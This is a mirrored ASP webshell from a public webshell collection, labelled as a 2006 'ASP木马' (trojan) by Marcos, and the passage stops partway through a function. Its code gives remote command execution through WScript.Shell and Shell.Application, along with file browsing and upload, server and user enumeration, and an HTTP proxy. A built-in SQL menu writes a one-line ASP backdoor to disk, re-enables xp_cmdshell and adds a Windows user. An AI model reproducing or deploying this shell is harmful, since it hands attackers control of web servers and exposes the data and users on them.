mirror of
https://github.com/tennc/webshell
synced 2024-11-25 20:50:18 +00:00
1429 lines
44 KiB
Text
1429 lines
44 KiB
Text
哇哈哈。。。
|
||
老马不肯给我我自已找到了!~~~嘿嘿。。。。
|
||
默认密码:hididi.net
|
||
|
||
<object runat="server" id="ws" scope="page" classid = "clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
|
||
<object runat="server" id="fso" scope="page" classid = "clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
|
||
<object runat="server" id="ws" scope="page" classid = "clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
|
||
<object runat="server" id="sa" scope="page" classid = "clsid:13709620-C279-11CE-A49E-444553540000"></object>
|
||
<%
|
||
Option Explicit
|
||
Response.Buffer=True
|
||
Dim i,url,conn,sUrlB,N,P,RP,PageSize,aspPath,bOtrUser,sSqlSelect,sImage
|
||
Dim sUrl,accessStr,G,sysFileList,isSqlServer,sP,F,A,W,Q,K
|
||
bOtrUser=false''是否需要其它NT用户身份登录
|
||
If bOtrUser=True And Trim(Request.ServerVariables("AUTH_USER"))="" Then
|
||
Response.Status="401 Unauthorized"
|
||
Response.Addheader "WWW-AuThenticate","BASIC"
|
||
If Request.ServerVariables("AUTH_USER")="" Then Response.End()
|
||
End If
|
||
N=R("N")
|
||
PageSize=20 ''默认每页记录数
|
||
isSqlServer=False
|
||
RP=Server.MapPath("/")
|
||
G=R("G")
|
||
url=Request.ServerVariables("URL") ''当前页的相对路径
|
||
sP="Packet.mdb" ''文件包默认文件名
|
||
P=Replace(R("P"),"\\","\")
|
||
aspPath=Replace(Server.MapPath(".")&"\~86.tmp","\\","\") ''系统临时文件
|
||
sysFileList="$"&sP&"$"&Left(sP,InStrRev(sP,".") - 1)&".ldb$"
|
||
accessStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"
|
||
Q="<tr><td class=trHead colspan=2> </td></tr><tr><td align=right class=td colspan=2>Powered By Marcos 2005.11 </td></tr></table>"
|
||
K="<table width=750 border=1><tr><td colspan=2 class=td><font face=webdings>8</font> {$s}</td></tr><tr><td colspan=2 class=trHead> </td></tr>"
|
||
sSqlSelect="<select onchange=""if(this.form.sqlB)this.form.sqlB.value=this.value;else this.form.sql.value=this.value;""><option value=''>SQL Server常用命令列表<option value=""Declare @s i;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^>>c:\1.asp';"">SP_OAMethod执行命令"&_
|
||
"<option value=""Exec XP_CMDShell 'net user lcx lcx /add'"">XP_CMDShell执行命令<option value=""sp_makewebtask @outputfile='d:\bbs\cd.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))"&Chr(37)&">''' "">sp_makewebtask写文件"&_
|
||
"<option value=""dbcc addextendedproc ('sp_OACreate','odsole70.dll')"">恢复sp_OACreate过程<option value=""dbcc addextendedproc ('xp_cmdshell','xplog70.dll')"">恢复xp_cmdshell</select><br>"
|
||
Const s="" ''登录标志
|
||
Const m="HYTop2006+" ''Session标志
|
||
Const B=False 'False,True''是否调试模式
|
||
Const uPd="02200200251001" ''登录密码
|
||
Const FE="$gif$jpg$bmp$" ''图像后缀列表
|
||
Const EF="$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"
|
||
if G="img" then
|
||
Writepic("FFD8FFE000104A46494600010101006000600000FFDB0043000302020302020303030304030304050805050404050A070706080C0A0C0C0B0A0B0B0D0E12100D0E110E0B0B1016101113141515150C0F171816141812141514FFDB00430103040405040509050509140D0B0D1414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414FFC0001108004C006403012200021101031101FFC4001B0
|
||
|
||
0000105010100000000000000000000000600040507080302FFC40034100001030303030204040505000000000001020304000511061221073141135114226181083291A11523427172161752C1E1FFC4001B01000202030100000000000000000000000305020400010607FFC4002811000202020102050403000000000000000102001103211204310513225181141541F061A1B1FFDA000C03010002110311003F00AB3F0B7A1C45D2BFC59E47F32492A493ED56CDD1529E516A2E10D8E3BF7A79D3EB0A74FE83B4C542424B719008C79DA2BD4C92D461B9440F7354EECDCB0
|
||
|
||
A37505E641B90470147FC6A35832D877E70E21493EE68915AB2234EED5382BDB8EC7B8243ACA92BFEC68BF8D430D47369B83E1206F3D867353CDBE5C5652AEFC9A150E18E491C66A461CD524E4935ABB983BC26666292DED2738AF626ED5100E71CD0DBF76F4C103835C117E3186490BC9C62A22A4E131B80DF907F5AF48985EF9739A116B57C44BDE9ADB201F39CD4F5BEE515D4EF6DC0428F6F6A905BED22C446DAA0A7F843A93EF9C565AEA73EAB6B6D7385ADCDC49FAF35AB35242F52DEA29564609CFDAB27F59905FB9B6D00400E6081E051144A8E451322ADCFFC4
|
||
|
||
454AFD3049EE49C52A6B689E22C30DA8763C71F414AACEBDE2920DCDE36BB67AD6D6DA1C610122803A99A26F4DC35AED8E007079233B7ED56ADB886A3B69031814F5E920206E4050C7634BD08EC63E5524D89873A990AE9A4B44C6B82EE739DB9BD2034A5215B52D00093C7D71509D3DEB1CC45D2D3094A9135D59DB2CBA948C0CAB052477C242739F26B616B4D2961D531551E7DA90FB4A39523C13EF503A57A31A3AD6E2970F4E36CBAAE3D4DC738F6ABFCD0AD54AE7064562D723E6C777D5D841CE05398F09C0D8241C0A3D7F4E071E538A40C93E2BA2EC013194908
|
||
|
||
E48F154EADA5AD812AE9AA5A5447EF4C1D8AE3BD9479F145D75D38F6E38471EF5457593A9372D0F7A4DAADCCA46C412EC8707F57B01FF75831D990E6145986D2ECD2C10B47007BD3DB2BEFC77B0AC957B0F354CE99EACDFEFF0021C1143B310C35EA3E9DBF327040381E7BD5A5A2355B5A812DBA76AB3FD69F7F623C1A21438FBC8AE419010259F6F94E4D65C8EE825050769ACA7D6D2626AC7D1920FE6C56C2B1C342DA2B033F2F7358CBAE92C4AEA4DC12839083B38FA0ADFB181234441861256DE46554AADDE95F4725EAFD2E6E49427D35BEA4A0A8F8013FFB4AAD2
|
||
|
||
E2622EA2B39501AB9AF6190A4A40EF4FD313D447241CD40DBE7612327E82A620CB00E49FD693033A9C482A761A75B73E623EBCD741159829E4006BB3B73096800AE7CD0F4EBA32FCBD8EC84B284F04938E68D742CCC6166A4CB0A4C87B006454DAADC8F862A29ED43365991A33E7F9A169F073E28A665C5872161A701563B5623EEE4592841C9F6E69E42F0076AA93A93A16D5AB5019BC5B51200E1321036B89FBD59AEDD54CC90DBA0A7776CD29D6E6E7B791839E68C1EBB407104EC4A4B47745AD9A71A745A1F4B65E20A96E0F9F1ED45FA53A1F6FB7BEB7DB7036B70EE
|
||
|
||
504700ABDE899AB47C33B9C63FB510DB5CF476D13CC2F40C19C6A8095919360B7A52D1216E2BE569B2AC9FA0AC0D7965FD55AD25ADA6CADD952BD3481CE54A556CDEBA6A279BB126DF1017274D5069B6877550FF0047FF000E66DDA96D72AE49CAA2624BA71F99C3C81F6E6A68872352CA595D71632CE772F5E9BF4CA1E91D1369B5EC1BD9653BCFBAF1C9FD6951DE420048EC2953E0140A9C89624D999CA3CD5B0E290AFCC83822A619BB9090079A18BC5C1A7EF121D688DAA592A03C135E9B9C1090739AE42B73D130640F8C3C388AF87D3C9FDEA0B54E8845FD0E61F
|
||
|
||
5202C61412AC506DD3A862D32929F4DC523CA929240A918BD53B529282B969493DC138A2D8E3444D80E5B92C89896CBEE8A4298DCF4F8A0FC8B51CA923DB3E6A49ED53A9A2C74BD12DCB740393BCE38A2C89A9A15CA1A571A4B4E25439048A706F0CA00014850C7206315A0164DDB228D891A9D48F6A1871DE7D8F41F6FF354C5BAE7B5B1935133A6C5F4545B2127D8544C4BB27C2BB561D08356E4DB10ED531B792338FB5744AD2DA5447B714231AE7BD63E6A22B1DD21A6EF6F45C145311D7D2DA958E327B0344C60B10243390AA4FB49ED2FD358B76BEB5A9E6A4C8F
|
||
|
||
41BDAC34AEC957922BC0B94CD64E5CA3DBDC5599519CC9CF0E28F83FE356ADD9C62CB6AD8D0436CE363607624D567ACAC3192987736E4AE12C0224168E3D5687241FD3BD3E387CB40A3E6720DD479EE59BE3F88C7FDE9B2DB5298D727D4CCD6C6D7500123238EF4AA82D65ACAD336EC97A24980DB2A6C612B1957E6577FDA952E3D732EB90FDF98C8785F21C8A36FF007DA0F9BEBEEEAA5B6CAFF92D03EA0FF9134531662DD291BBE5355CE9B515DC66ACF2A53EAC9FBE28B9B754D3A9DA700F7A520C6B88705004B0605BA24C8FB54849563B9150379D1301DDC7E110
|
||
|
||
17F41C1A736894E2718346B09A4498E3D44856451D7D421D72321B129F46927219288EB7596D5FD295702BAB5A6751415FA90E697107BB6F73567CE80C215908C5716FE442B03E95B0A215BAC661444AD22DCEF11EE0A8F716C253E1493C1A9C6D676E53C1CD74D4582BDD81907BE29BDB945DD9BA827BC186D5C24D376E97789ECC48CD29E7DD504A5291C935AE2D9F879B64DE9926D32486EECEE247C601CB6F78FB0ED8A02FC3C69D831AEB1A5A5ADCF946EDEAE71C78AD2B01E52D2A07B6699E04A5E43BCE53AEF102F9C610280FF66514DBF51447FF00D337843A65
|
||
|
||
5B1E5FA921CECF249F91693E460D07FE207519D37A0E6104871C6FE1593F55773FA035AE7A9B6D8EEDB1B9AA6C7C4A15E98707729E783594FAE16A8D78D3C98D29B0E32A59E3D8FBD5DCCEC7A662BDEA47A5C887AB41947A6C5D4C2B779ACFC437E98C0F4C649F279A54BAC0CB3A735346890594219F8342CEE1924952F9FD852AE1FE91CEEC4F5BFBD74CBE908DFD4FFFD9")
|
||
response.end
|
||
end if
|
||
|
||
Sub O(sStr)
|
||
Response.Write sStr
|
||
End Sub
|
||
Sub IsIn()
|
||
If Session(m&"uPd")<>uPd Then
|
||
O "<script>alert('没有权限的访问,请先登录!');location.href='"&url&"';</script>"
|
||
Response.End()
|
||
End If
|
||
End Sub
|
||
Function Y(var,val1,val2)
|
||
If var=True Then Y=val1 Else Y=val2
|
||
End Function
|
||
Sub RedirectTo(url)
|
||
Response.Redirect(url)
|
||
End Sub
|
||
Function StrEncode(s)
|
||
s=C(s)
|
||
s=Replace(s," "," ")
|
||
s=Replace(s,""," ")
|
||
s=Replace(s,vbNewLine,"<br>")
|
||
StrEncode=s
|
||
End Function
|
||
Sub CreateObj(F,A,W)
|
||
On Error Resume Next
|
||
Set W=Server.CreateObject("WScript.Shell")
|
||
Set A=Server.CreateObject("Shell.Application")
|
||
Set F=Server.CreateObject("Scripting.FileSystemObject")
|
||
If IsEmpty(A) Then Set A=sa
|
||
If IsEmpty(F) Then Set F=fso
|
||
If IsEmpty(W) Then Set W=ws
|
||
If Err Then Err.Clear
|
||
End Sub
|
||
Function StreamLoadFromFile(sPath)
|
||
Dim M
|
||
If B=False Then On Error Resume Next
|
||
Set M=Server.CreateObject("adodb.Stream")
|
||
With M
|
||
.Type=2
|
||
.Mode=3
|
||
.Open
|
||
.LoadFromFile sPath
|
||
If Request("G")<>"TxtSearcher" Then ChkErr(Err)
|
||
.Charset="gb2312"
|
||
.Position=2
|
||
StreamLoadFromFile=.ReadText()
|
||
.Close
|
||
End With
|
||
Set M=Nothing
|
||
End Function
|
||
Sub JavaScript(sStr)
|
||
Response.Write(vbNewLine&"<script type=""text/javascript"">"&sStr&"</script>"&vbNewLine)
|
||
End Sub
|
||
Function R(var)
|
||
Dim val
|
||
If Request.QueryString("G")="PageUpload" Then
|
||
G="PageUpload"
|
||
Exit Function
|
||
End If
|
||
val=RTrim(Request.Form(var))
|
||
If val="" Then val=RTrim(Request.QueryString(var))
|
||
R=val
|
||
End Function
|
||
Function C(s)
|
||
If IsNull(s) Then Exit Function
|
||
C=Server.HTMLEncode(s)
|
||
End Function
|
||
Function U(s)
|
||
If IsNull(s) Then Exit Function
|
||
U=Server.URLEncode(s)
|
||
End Function
|
||
Sub ST(s)
|
||
Response.Write "<title>"&s&" - 海阳顶端网ASP木马@2006PLUS - By Marcos</title>"
|
||
Response.Write "<meta http-equiv='Content-Type' content='text/html;charset=gb2312'>"
|
||
End Sub
|
||
Function GetTheSize(n)
|
||
Dim i,aSize(4)
|
||
aSize(0)="B"
|
||
aSize(1)="KB"
|
||
aSize(2)="MB"
|
||
aSize(3)="GB"
|
||
aSize(4)="TB"
|
||
While(n/1024>=1)
|
||
n=n/1024
|
||
i=i+1
|
||
WEnd
|
||
GetTheSize=Fix(n * 100)/100&" "&aSize(i)
|
||
End Function
|
||
Sub ShowErr(s)
|
||
Dim i,aStr
|
||
s=C(s)
|
||
aStr=Split(s,"$$")
|
||
%>
|
||
<font size=2>
|
||
出错信息:<br><br>
|
||
<%
|
||
For i=0 To UBound(aStr)
|
||
O " "&(i+1)&". "&aStr(i)&"<br>"
|
||
Next
|
||
%>
|
||
</font>
|
||
<%
|
||
Response.End()
|
||
End Sub
|
||
Sub CreateFolder(sPath)
|
||
Dim i
|
||
i=InStr(Mid(sPath,4),"\")+3
|
||
Do While i>0
|
||
If F.FolderExists(Left(sPath,i))=False Then F.CreateFolder(Left(sPath,i - 1))
|
||
If InStr(Mid(sPath,i+1),"\") Then i=i+InStr(Mid(sPath,i+1),"\") Else i=0
|
||
Loop
|
||
End Sub
|
||
Sub AlertThenClose(s)
|
||
If s="" Then
|
||
Response.Write "<script>window.close();</script>"
|
||
Else
|
||
Response.Write "<script>alert("""&s&""");window.close();</script>"
|
||
End If
|
||
End Sub
|
||
Sub ChkErr(Err)
|
||
If Err Then
|
||
O "<hr style='color:#d8d8f0;'/><font size=2><li>错误: "&Err.Description&"</li><li>错误源: "&Err.Source&"</li><br>"
|
||
%>
|
||
<hr style='color:#d8d8f0;'/> By Marcos 2005.11</font>
|
||
<%
|
||
Err.Clear
|
||
Response.End
|
||
End If
|
||
End Sub
|
||
Sub TopMenu()
|
||
O "<form method=post name=formp action="""&url&""">"
|
||
%><select name=G onchange=if(this.value!='')changePage(this);>
|
||
<option value=''>请选择功能页面</option>
|
||
<option value=PageCheck>服务器信息探针</option>
|
||
<option value=PageServiceList>系统服务列表</option>
|
||
<option value=PageUserList>系统用户(组)列表</option>
|
||
<option value=PageFso>FSO文件浏览操作器</option>
|
||
<option value=PageApp>APP文件浏览操作器</option>
|
||
<option value=PageDBTool>数据库操作器</option>
|
||
<option value=PagePack>文件夹打包/解开器</option>
|
||
<option value=PageUpload>批量文件上传</option>
|
||
<option value=PageSearch>文本文件搜索器</option>
|
||
<option value=PageWebProxy>HTTP协议网页代理</option>
|
||
<option value=PageExecute>自定义ASP语句运行</option>
|
||
<option value=PageCSInfo>客户端服务器交互信息</option>
|
||
<option value=PageWsCmdRun>WScript.Shell命令行操作</option>
|
||
<option value=PageSaCmdRun>Shell.Application命令行</option>
|
||
<option value=PageOtrTools>其它一些零碎的小工具</option>
|
||
<option value=PageOut>退出系统</option>
|
||
</select>
|
||
</form>
|
||
<script language=javascript>
|
||
<%
|
||
O "function document.onreadystatechange(){if(document.readyState!='complete') return;"&vbNewLine
|
||
O "formp.G.value='"&G&"';"&Y(G=s,"formp.G.value='PageExecute';formp.submit();","")&"}"
|
||
%>
|
||
function changePage(o){
|
||
if(o.value=='PageOut')
|
||
if(!confirm('确认要退出系统吗?'))return;
|
||
if(o.value=='PageWebProxy')o.form.target='_blank';
|
||
<%
|
||
O "o.form.submit();o.form.target='';"&vbNewLine
|
||
%>
|
||
if(o.value!='PageWebProxy' && o.value!='PageOut')o.disabled=true;
|
||
}
|
||
</script>
|
||
<%
|
||
End Sub
|
||
Rem ++++++++++++++++++++++++++++++++++++
|
||
Rem 以下是页面选择部分
|
||
Rem ++++++++++++++++++++++++++++++++++++
|
||
Call CreateObj(F,A,W)
|
||
Response.Clear
|
||
PageOtr()
|
||
If G<>"" And G<>s Then
|
||
IsIn()
|
||
TopMenu()
|
||
End If
|
||
If G="" And s<>"" Then
|
||
sUrl="http://hididi.net/NoExists.html"
|
||
'sUrl="http://"&Request.ServerVariables(" ... mp;"/NoExists.html"
|
||
PageWebProxy()
|
||
End If
|
||
Select Case G
|
||
Case "PageSearch"
|
||
PageSearch()
|
||
Case "PageServiceList"
|
||
PageServiceList()
|
||
Case "PageUserList"
|
||
PageUserList()
|
||
Case "PageCheck"
|
||
PageCheck()
|
||
Case "PageFso"
|
||
PageFso()
|
||
Case "PageApp"
|
||
PageApp()
|
||
Case "PageDBTool"
|
||
PageDBTool()
|
||
Case "PageUpload"
|
||
PageUpload()
|
||
Case "PageWsCmdRun"
|
||
PageWsCmdRun()
|
||
Case "PageSaCmdRun"
|
||
PageSaCmdRun()
|
||
Case "PagePack"
|
||
PagePack()
|
||
Case "PageExecute"
|
||
PageExecute()
|
||
Case "PageCSInfo"
|
||
PageCSInfo()
|
||
Case "PageOtrTools"
|
||
PageOtrTools()
|
||
Case "PageWebProxy"
|
||
PageWebProxy()
|
||
Case s,"PageOut"
|
||
PageLogin()
|
||
End Select
|
||
Set F=Nothing
|
||
Set A=Nothing
|
||
Set W=Nothing
|
||
Rem +++++++++++++++++++++++++++++++++++++
|
||
Rem 以下是各功能模块部分
|
||
Rem +++++++++++++++++++++++++++++++++++++
|
||
Sub PageWsCmdRun()
|
||
Dim cmdStr,cmdPath,cmdResult
|
||
cmdStr=Request("cmdStr")
|
||
cmdPath=Request("cmdPath")
|
||
ST("WScript.Shell命令行操作")
|
||
If cmdPath="" Then
|
||
cmdPath="cmd.exe"
|
||
End If
|
||
If N="PackIt" And cmdStr<>"" Then
|
||
Server.ScriptTimeOut=999999
|
||
cmdStr="c:\progra~1\WinRAR\Rar.exe a """&cmdStr&"\Packet.rar"" """&cmdStr&"""" '自定义rar路径
|
||
cmdStr=Replace(cmdStr,"\\","\")
|
||
End If
|
||
If cmdStr<>"" Then
|
||
If InStr(LCase(cmdPath),"cmd.exe")>0 Then
|
||
cmdResult=DoWsCmdRun(cmdPath&" /c "&cmdStr)
|
||
Else
|
||
If LCase(cmdPath)="wscriptshell" Then
|
||
cmdResult=DoWsCmdRun(cmdStr)
|
||
Else
|
||
cmdResult=DoWsCmdRun(cmdPath&" "&cmdStr)
|
||
End If
|
||
End If
|
||
End If
|
||
%>
|
||
<body onload="document.forms[1].cmdStr.focus();">
|
||
<form method=post onSubmit='this.Submit.disabled=true'><input type=hidden name=G value='PageWsCmdRun' />
|
||
<%
|
||
O Replace(K,"{$s}","WScript.Shell命令行操作")
|
||
O "<tr><td colspan=2> 路径: <input name=cmdPath type=text id=cmdPath value="""&C(cmdPath)&""" size=50> "
|
||
%><input type=button name=Submit2 value=使用WScript.Shell onClick="this.form.cmdPath.value='WScriptShell';"></td></tr>
|
||
<%
|
||
O "<tr><td colspan=2> 命令/参数: <input name=cmdStr type=text id=cmdStr value="""&C(cmdStr)&""" size=62> "
|
||
%><input type=submit name=Submit value=' 运行 '></td><tr>
|
||
<tr><td colspan=2 style='line-height:21px;'> 注:请只在这里执行单步程序(程序执行开始到结束不需要人工干预),不然本程序会无法正常工作,并且在服务器生成一个不可结束的进程.</td></tr>
|
||
<tr><td colspan=2> <textarea id=cmdResult style='width:735px;height:400px;'>
|
||
<%
|
||
O C(cmdResult)
|
||
%></textarea></td></tr>
|
||
<%=Q%>
|
||
</form>
|
||
</body>
|
||
<%
|
||
End Sub
|
||
Function DoWsCmdRun(cmdStr)
|
||
If B=False Then On Error Resume Next
|
||
Dim oFile
|
||
doWsCmdRun=W.Exec(cmdStr).StdOut.ReadAll()
|
||
If Err Then
|
||
O Err.Description&"<br>"
|
||
Err.Clear
|
||
W.Run cmdStr&">"&aspPath,0,True
|
||
Set oFile=F.OpenTextFile(aspPath)
|
||
DoWsCmdRun=oFile.RealAll()
|
||
If Err Then
|
||
O Err.Description&"<br>"
|
||
Err.Clear
|
||
DoWsCmdRun=StreamLoadFromFile(aspPath)
|
||
End If
|
||
End If
|
||
End Function
|
||
Sub PageSaCmdRun()
|
||
If B=False Then On Error Resume Next
|
||
Dim tFile,appPath,appName,appArgs
|
||
ST("Shell.Application 命令行操作")
|
||
appPath=Trim(Request("appPath"))
|
||
appName=Trim(Request("appName"))
|
||
appArgs=Trim(Request("appArgs"))
|
||
If N="doAct" Then
|
||
If appName="" Then appName="cmd.exe"
|
||
If appPath<>"" And Right(appPath,1)<>"\" Then
|
||
appPath=appPath&"\"
|
||
End If
|
||
If LCase(appName)="cmd.exe" And appArgs<>"" Then
|
||
If LCase(Left(appArgs,2))<>"/c" Then
|
||
appArgs="/c "&appArgs
|
||
End If
|
||
Else
|
||
If LCase(appName)="cmd.exe" And appArgs="" Then
|
||
appArgs="/c "
|
||
End If
|
||
End If
|
||
A.ShellExecute appName,appArgs,appPath,"",0
|
||
'Response.Write("A.ShellExecute "&appName&","&appArgs&","&appPath&","""",0")
|
||
chkErr(Err)
|
||
End If
|
||
If N="readResult" Then
|
||
Err.Clear
|
||
Response.Clear
|
||
Response.Write("<style>body{font-size:12px;}</style>"&vbNewLine)
|
||
O StrEncode(MLoadFromFile(aspPath))
|
||
If Err Then
|
||
Err.Clear
|
||
Set tFile=fsoX.OpenTextFile(aspPath)
|
||
O StrEncode(tFile.ReadAll())
|
||
Set tFile=Nothing
|
||
End If
|
||
Response.End()
|
||
End If
|
||
%>
|
||
<body onload="document.forms[1].appArgs.focus();setTimeout('wsLoadIFrame();',3900);">
|
||
<form method=post onSubmit='this.Submit.disabled=true'><input type=hidden name=N value=doAct><input type=hidden name=G value=PageSaCmdRun />
|
||
<%
|
||
O "<input type=hidden name=aspPath value="""&C(aspPath)&""">"
|
||
O Replace(K,"{$s}","Shell.Application 命令行操作")
|
||
O "<tr><td colspan=2> 所在路径: <input name=appPath type=text id=appPath value="""&C(appPath)&""" size=62></td></tr>"
|
||
O "<tr><td colspan=2> 程序文件: <input name=appName type=text id=appName value="""&C(appName)&""" size=62> "
|
||
%><input type=button name=Submit4 value=' 回显 ' onClick="this.form.appArgs.value+='>'+this.form.aspPath.value;"></td></tr>
|
||
<%
|
||
O "<tr><td colspan=2> 命令参数: <input name=appArgs type=text id=appArgs value="""&C(appArgs)&""" size=62> "
|
||
%><input type=submit name=Submit value=' 运行 '></td></tr>
|
||
<tr><td colspan=2> 注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用">"符号),其它程序只能执行不能回显.<br>
|
||
由于命令执行时间同网页刷新时间不同步,所以有些执行时间长的程序结果需要手动刷新下面的iframe才能得到.回显后记得删除临时文件.</td></tr>
|
||
<tr><td colspan=2 style='padding-top:6px;'> <iframe id=cmdResult style='width:733px;height:400px;'>
|
||
</iframe></td></tr>
|
||
<%=Q%>
|
||
</form>
|
||
</body>
|
||
<%
|
||
End Sub
|
||
Sub PageSearch()
|
||
Dim sKey,sPath
|
||
sKey=R("Key")
|
||
Server.ScriptTimeout=5000
|
||
If P="" Then P=RP
|
||
ST("文本文件搜索器")
|
||
SearchTable(sKey)
|
||
If N<>"" And sKey<>"" Then
|
||
SearchIt(sKey)
|
||
End If
|
||
End Sub
|
||
Sub SearchTable(sKey)
|
||
O "<form method=post action='"&url&"'>"
|
||
%><input type=hidden value=PageSearch name=G>
|
||
<%
|
||
O Replace(K,"{$s}","文本文件搜索器(需FSO支持)")
|
||
%>
|
||
<tr>
|
||
<td> 路径</td>
|
||
<td> <input name=P type=text id=P value="
|
||
<%
|
||
O C(P)
|
||
%>
|
||
" style='width:360px;'>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td width='20%'> 关键字</td>
|
||
<%
|
||
O "<td> <input name=Key type=text value='"&C(sKey)&"' id=Key style='width:400px;'> "
|
||
%><select name=N id=N>
|
||
<option value=FileName selected>仅文件名</option>
|
||
<option value=FileContent>仅文本内容</option>
|
||
<option value=Both>两者都</option>
|
||
</select>
|
||
<input type=submit name=Submit value=提交> </td>
|
||
</tr>
|
||
<%=Q%>
|
||
</form>
|
||
<%
|
||
End Sub
|
||
Sub SearchIt(key)
|
||
Dim sPath,tFolder
|
||
Response.Buffer=True
|
||
sPath=P
|
||
If F.FolderExists(sPath)=False Then
|
||
ShowErr(P&" 目录不存在或者不允许访问!")
|
||
End If
|
||
Set tFolder=F.GetFolder(sPath)
|
||
%>
|
||
<br><div style='width:750;border:1px solid #d8d8f0;'>
|
||
<%
|
||
Select Case N
|
||
Case "Both"
|
||
Call SearchFolder(tFolder,key,1)
|
||
Case "FileName"
|
||
Call SearchFolder(tFolder,key,2)
|
||
Case "FileContent"
|
||
Call SearchFolder(tFolder,key,3)
|
||
End Select
|
||
%>
|
||
</div>
|
||
<%
|
||
Set tFolder=Nothing
|
||
End Sub
|
||
Sub SearchFolder(folder,key,flag)
|
||
Dim ext,title,tFile,tFolder
|
||
For Each tFile In folder.Files
|
||
ext=LCase(F.GetExtensionName(tFile.Path))
|
||
If flag=1 Or flag=2 Then
|
||
If InStr(LCase(tFile.Name),LCase(key))>0 Then O FileLink(tFile,"")
|
||
End If
|
||
If flag=1 Or flag=3 Then
|
||
If InStr(EditableFileExt,"$"&ext&"$")>0 Then
|
||
If SearchFile(tFile,key,title) Then O FileLink(tFile,title)
|
||
End If
|
||
End If
|
||
Next
|
||
Response.Flush()
|
||
For Each tFolder In folder.SubFolders
|
||
Call SearchFolder(tFolder,key,flag)
|
||
Next
|
||
End Sub
|
||
Function SearchFile(f,s,title)
|
||
Dim tFile,content,pos1,pos2
|
||
If B=False Then On Error Resume Next
|
||
Set tFile=F.OpenTextFile(f.Path)
|
||
content=tFile.ReadAll()
|
||
tFile.Close
|
||
Set tFile=Nothing
|
||
If Err Then Err.Clear
|
||
SearchFile=InStr(1,content,s,1)
|
||
If SearchFile>0 Then
|
||
pos1=InStr(1,content,"<TITLE>",1)
|
||
pos2=InStr(1,content,"</TITLE>",1)
|
||
title=""
|
||
If pos1>0 And pos2>0 Then
|
||
title=Mid(content,pos1+7,pos2 - pos1 - 7)
|
||
End If
|
||
End If
|
||
End Function
|
||
Function FileLink(file,title)
|
||
fileLink=file.Path
|
||
If title="" Then
|
||
title=file.Name
|
||
End If
|
||
fileLink=" <font color=ff0000>"&title&"</font> "&fileLink&"<br>"
|
||
End Function
|
||
Sub PageCheck()
|
||
ST("服务器信息探针")
|
||
Response.Flush()
|
||
InfoCheck()
|
||
Response.Flush()
|
||
ObjCheck()
|
||
Response.Flush()
|
||
GetSrvDrvInfo()
|
||
Response.Flush()
|
||
End Sub
|
||
Sub InfoCheck()
|
||
Dim aCheck(7),sExEnvList,aExEnvList
|
||
If B=False Then On Error Resume Next
|
||
sExEnvList="ClusterLog$SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$"&_
|
||
"PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION"
|
||
aExEnvList=Split(sExEnvList,"$")
|
||
aCheck(0)=Server.ScriptTimeOut()&"(秒)"
|
||
aCheck(1)=FormatDateTime(Now(),0)
|
||
aCheck(2)=Request.ServerVariables("SERVER_NAME")
|
||
aCheck(2)=aCheck(2)&","&Request.ServerVariables("LOCAL_ADDR")
|
||
aCheck(2)=aCheck(2)&":"&Request.ServerVariables("SERVER_PORT")
|
||
aCheck(3)=Request.ServerVariables("OS")
|
||
aCheck(3)=Y(aCheck(3)="","Windows2003",aCheck(3))&","&Request.ServerVariables("SERVER_SOFTWARE")
|
||
aCheck(3)=aCheck(3)&","&ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion
|
||
aCheck(4)=RP
|
||
aCheck(4)=aCheck(4)&","&GetTheSize(F.GetFolder(RP).Size)
|
||
aCheck(5)="Path: "&Request.ServerVariables("PATH_TRANSLATED")&"<br>"
|
||
aCheck(5)=aCheck(5)&" Url : http://"&Request.ServerVariables("SERVER_N ... .ServerVariables("Url")
|
||
aCheck(6)="变量数: "&Application.Contents.Count()&","
|
||
aCheck(6)=aCheck(6)&" 会话数: "&Session.Contents.Count&","
|
||
aCheck(6)=aCheck(6)&" 当前会话ID: "&Session.SessionId()&"<br>"
|
||
aCheck(6)=aCheck(6)&" 服务器内存: "&GetTheSize(A.GetSystemInformation("PhysicalMemoryInstalled"))&","
|
||
aCheck(6)=aCheck(6)&" 计"&W.Environment("SYSTEM")("NUMBER_OF_PROCESSORS")&"个CPU("&W.Environment("SYSTEM")("PROCESSOR_IDENTIFIER")&")"
|
||
O Replace(K,"{$s}","服务器基本信息")
|
||
%>
|
||
<tr class=td>
|
||
<td width='20%'> 项目</td>
|
||
<td> 值</td>
|
||
</tr>
|
||
<tr>
|
||
<td> 默认超时</td>
|
||
<%
|
||
O "<td> "&aCheck(0)&"</td>"
|
||
%>
|
||
</tr>
|
||
<tr>
|
||
<td> 当前时间</td>
|
||
<%
|
||
O "<td> "&aCheck(1)&"</td>"
|
||
%>
|
||
</tr>
|
||
<tr>
|
||
<td> 服务器名</td>
|
||
<%
|
||
O "<td> "&aCheck(2)&"</td>"
|
||
%>
|
||
</tr>
|
||
<tr>
|
||
<td> 软件环境</td>
|
||
<%
|
||
O "<td> "&aCheck(3)&"</td>"
|
||
%>
|
||
</tr>
|
||
<tr>
|
||
<td> 站点目录</td>
|
||
<%
|
||
O "<td> "&aCheck(4)&"</td>"
|
||
%>
|
||
</tr>
|
||
<tr>
|
||
<td> 当前路径</td>
|
||
<%
|
||
O "<td> "&aCheck(5)&"</td>"
|
||
%>
|
||
</tr>
|
||
<tr><td> 终端服务端口<br> 及自动登录信息</td><td>
|
||
<%
|
||
GetTerminalInfo()
|
||
%>
|
||
</td></tr>
|
||
<tr>
|
||
<td> 其它</td>
|
||
<%
|
||
